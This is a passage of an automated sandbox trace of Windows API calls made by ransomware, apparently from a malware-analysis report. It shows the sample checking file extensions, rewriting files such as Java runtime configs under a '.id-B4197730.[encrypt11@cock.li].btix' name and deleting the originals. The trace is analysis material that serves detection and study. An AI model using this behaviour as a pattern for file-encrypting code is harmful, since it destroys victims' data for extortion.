hHeap=0x510000) returned 1 [0145.788] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0145.789] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0145.790] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0145.790] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0145.790] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0145.791] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0145.791] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0145.793] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0145.793] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0145.794] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3db0738 | out: hHeap=0x510000) returned 1 Thread: id = 46 os_tid = 0xe2c [0126.398] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3de0750 [0126.398] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3df0758 [0126.398] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e78 [0126.398] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd6b0 [0126.398] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574cf8 [0126.398] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x409e020 [0126.401] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e90 [0126.401] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574e90, Size=0x20) returned 0x54e920 [0126.401] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e90 [0126.401] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574e90, Size=0x20) returned 0x54ea88 [0126.401] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.401] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.401] Wow64DisableWow64FsRedirection (in: OldValue=0x350ff50 | out: OldValue=0x350ff50*=0x0) returned 1 [0126.401] lstrlenW (lpString="kernel32.dll") returned 12 [0126.401] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.401] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.401] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ea88 | out: hHeap=0x510000) returned 1 [0126.401] Sleep (dwMilliseconds=0x64) [0126.789] Sleep (dwMilliseconds=0x64) [0127.131] Sleep (dwMilliseconds=0x64) [0127.393] Sleep (dwMilliseconds=0x64) [0127.906] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0127.906] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0127.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0127.906] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10752) returned 1 [0127.906] CloseHandle (hObject=0x390) returned 1 [0127.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0127.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.219] lstrlenW (lpString=".doc") returned 4 [0128.219] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0128.219] lstrlenW (lpString=".docx") returned 5 [0128.219] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0128.219] lstrlenW (lpString=".pdf") returned 4 [0128.219] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0128.219] lstrlenW (lpString=".xls") returned 4 [0128.219] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0128.219] lstrlenW (lpString=".xlsx") returned 5 [0128.219] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0128.219] lstrlenW (lpString=".ppt") returned 4 [0128.219] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0128.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.219] lstrlenW (lpString=".zip") returned 4 [0128.219] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0128.219] lstrlenW (lpString=".rar") returned 4 [0128.219] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0128.219] lstrlenW (lpString=".bz2") returned 4 [0128.220] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0128.220] lstrlenW (lpString=".7z") returned 3 [0128.220] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0128.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.220] lstrlenW (lpString=".dbf") returned 4 [0128.220] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0128.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.220] lstrlenW (lpString=".1cd") returned 4 [0128.220] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0128.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.220] lstrlenW (lpString=".jpg") returned 4 [0128.220] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0128.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.220] lstrlenW (lpString=".doc") returned 4 [0128.220] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0128.220] lstrlenW (lpString=".docx") returned 5 [0128.220] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0128.220] lstrlenW (lpString=".pdf") returned 4 [0128.220] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0128.220] lstrlenW (lpString=".xls") returned 4 [0128.220] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0128.220] lstrlenW (lpString=".xlsx") returned 5 [0128.220] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0128.220] lstrlenW (lpString=".ppt") returned 4 [0128.220] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0128.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.220] lstrlenW (lpString=".zip") returned 4 [0128.220] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0128.220] lstrlenW (lpString=".rar") returned 4 [0128.220] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0128.220] lstrlenW (lpString=".bz2") returned 4 [0128.220] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0128.220] lstrlenW (lpString=".7z") returned 3 [0128.220] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0128.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.221] lstrlenW (lpString=".dbf") returned 4 [0128.221] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0128.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.221] lstrlenW (lpString=".1cd") returned 4 [0128.221] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0128.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0128.221] lstrlenW (lpString=".jpg") returned 4 [0128.221] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0128.221] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0128.221] lstrlenW (lpString="jsdt.dll") returned 8 [0128.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0128.917] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=18496) returned 1 [0128.917] CloseHandle (hObject=0x3cc) returned 1 [0128.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0128.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.918] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.918] lstrlenW (lpString=".doc") returned 4 [0128.918] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.918] lstrlenW (lpString=".docx") returned 5 [0128.918] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0128.918] lstrlenW (lpString=".pdf") returned 4 [0128.918] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.918] lstrlenW (lpString=".xls") returned 4 [0128.918] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.918] lstrlenW (lpString=".xlsx") returned 5 [0128.918] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0128.918] lstrlenW (lpString=".ppt") returned 4 [0128.918] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.918] lstrlenW (lpString=".zip") returned 4 [0128.918] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.918] lstrlenW (lpString=".rar") returned 4 [0128.918] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.919] lstrlenW (lpString=".bz2") returned 4 [0128.919] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.919] lstrlenW (lpString=".7z") returned 3 [0128.919] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.919] lstrlenW (lpString=".dbf") returned 4 [0128.919] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.919] lstrlenW (lpString=".1cd") returned 4 [0128.919] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.919] lstrlenW (lpString=".jpg") returned 4 [0128.919] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.919] lstrlenW (lpString=".doc") returned 4 [0128.919] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.919] lstrlenW (lpString=".docx") returned 5 [0128.919] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0128.919] lstrlenW (lpString=".pdf") returned 4 [0128.919] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.919] lstrlenW (lpString=".xls") returned 4 [0128.919] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.919] lstrlenW (lpString=".xlsx") returned 5 [0128.919] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0128.919] lstrlenW (lpString=".ppt") returned 4 [0128.919] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.919] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.919] lstrlenW (lpString=".zip") returned 4 [0128.919] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.920] lstrlenW (lpString=".rar") returned 4 [0128.920] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.920] lstrlenW (lpString=".bz2") returned 4 [0128.920] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.920] lstrlenW (lpString=".7z") returned 3 [0128.920] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.920] lstrlenW (lpString=".dbf") returned 4 [0128.920] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.920] lstrlenW (lpString=".1cd") returned 4 [0128.920] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0128.920] lstrlenW (lpString=".jpg") returned 4 [0128.920] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.920] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0128.920] lstrlenW (lpString="accessibility.properties") returned 24 [0128.920] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0128.921] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=149) returned 1 [0128.921] CloseHandle (hObject=0x3cc) returned 1 [0128.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0128.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.921] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0128.921] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.921] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.921] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0128.934] GetLastError () returned 0x0 [0128.934] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x95, lpOverlapped=0x0) returned 1 [0128.943] WriteFile (in: hFile=0x3d4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xa0, lpOverlapped=0x0) returned 1 [0128.944] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0128.944] WriteFile (in: hFile=0x3d4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x104, lpOverlapped=0x0) returned 1 [0128.944] SetEndOfFile (hFile=0x3d4) returned 1 [0128.944] CloseHandle (hObject=0x3d4) returned 1 [0128.944] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.944] SetEndOfFile (hFile=0x3cc) returned 1 [0128.947] CloseHandle (hObject=0x3cc) returned 1 [0128.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0128.947] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0128.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.948] lstrlenW (lpString=".doc") returned 4 [0128.948] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString=".docx") returned 5 [0128.948] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0128.948] lstrlenW (lpString=".pdf") returned 4 [0128.948] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString=".xls") returned 4 [0128.948] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString=".xlsx") returned 5 [0128.948] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0128.948] lstrlenW (lpString=".ppt") returned 4 [0128.948] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.948] lstrlenW (lpString=".zip") returned 4 [0128.948] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString=".rar") returned 4 [0128.948] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString=".bz2") returned 4 [0128.948] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString=".7z") returned 3 [0128.948] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0128.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.948] lstrlenW (lpString=".dbf") returned 4 [0128.948] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.948] lstrlenW (lpString=".1cd") returned 4 [0128.948] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.948] lstrlenW (lpString=".jpg") returned 4 [0128.948] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0128.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.948] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.948] lstrlenW (lpString=".doc") returned 4 [0128.948] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString=".docx") returned 5 [0128.949] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0128.949] lstrlenW (lpString=".pdf") returned 4 [0128.949] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString=".xls") returned 4 [0128.949] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString=".xlsx") returned 5 [0128.949] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0128.949] lstrlenW (lpString=".ppt") returned 4 [0128.949] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.949] lstrlenW (lpString=".zip") returned 4 [0128.949] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString=".rar") returned 4 [0128.949] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString=".bz2") returned 4 [0128.949] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString=".7z") returned 3 [0128.949] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0128.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.949] lstrlenW (lpString=".dbf") returned 4 [0128.949] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.949] lstrlenW (lpString=".1cd") returned 4 [0128.949] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0128.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0128.949] lstrlenW (lpString=".jpg") returned 4 [0128.949] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0128.949] lstrcmpiW (lpString1=".cfg", lpString2=".btix") returned 1 [0128.950] lstrlenW (lpString="jvm.cfg") returned 7 [0128.950] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0128.950] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=634) returned 1 [0128.950] CloseHandle (hObject=0x3cc) returned 1 [0128.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0128.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.950] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0128.951] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.951] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.951] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0128.956] GetLastError () returned 0x0 [0128.956] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x27a, lpOverlapped=0x0) returned 1 [0128.957] WriteFile (in: hFile=0x3d4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x280, lpOverlapped=0x0) returned 1 [0128.958] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0128.958] WriteFile (in: hFile=0x3d4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe2, lpOverlapped=0x0) returned 1 [0128.958] SetEndOfFile (hFile=0x3d4) returned 1 [0128.958] CloseHandle (hObject=0x3d4) returned 1 [0128.958] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.959] SetEndOfFile (hFile=0x3cc) returned 1 [0128.963] CloseHandle 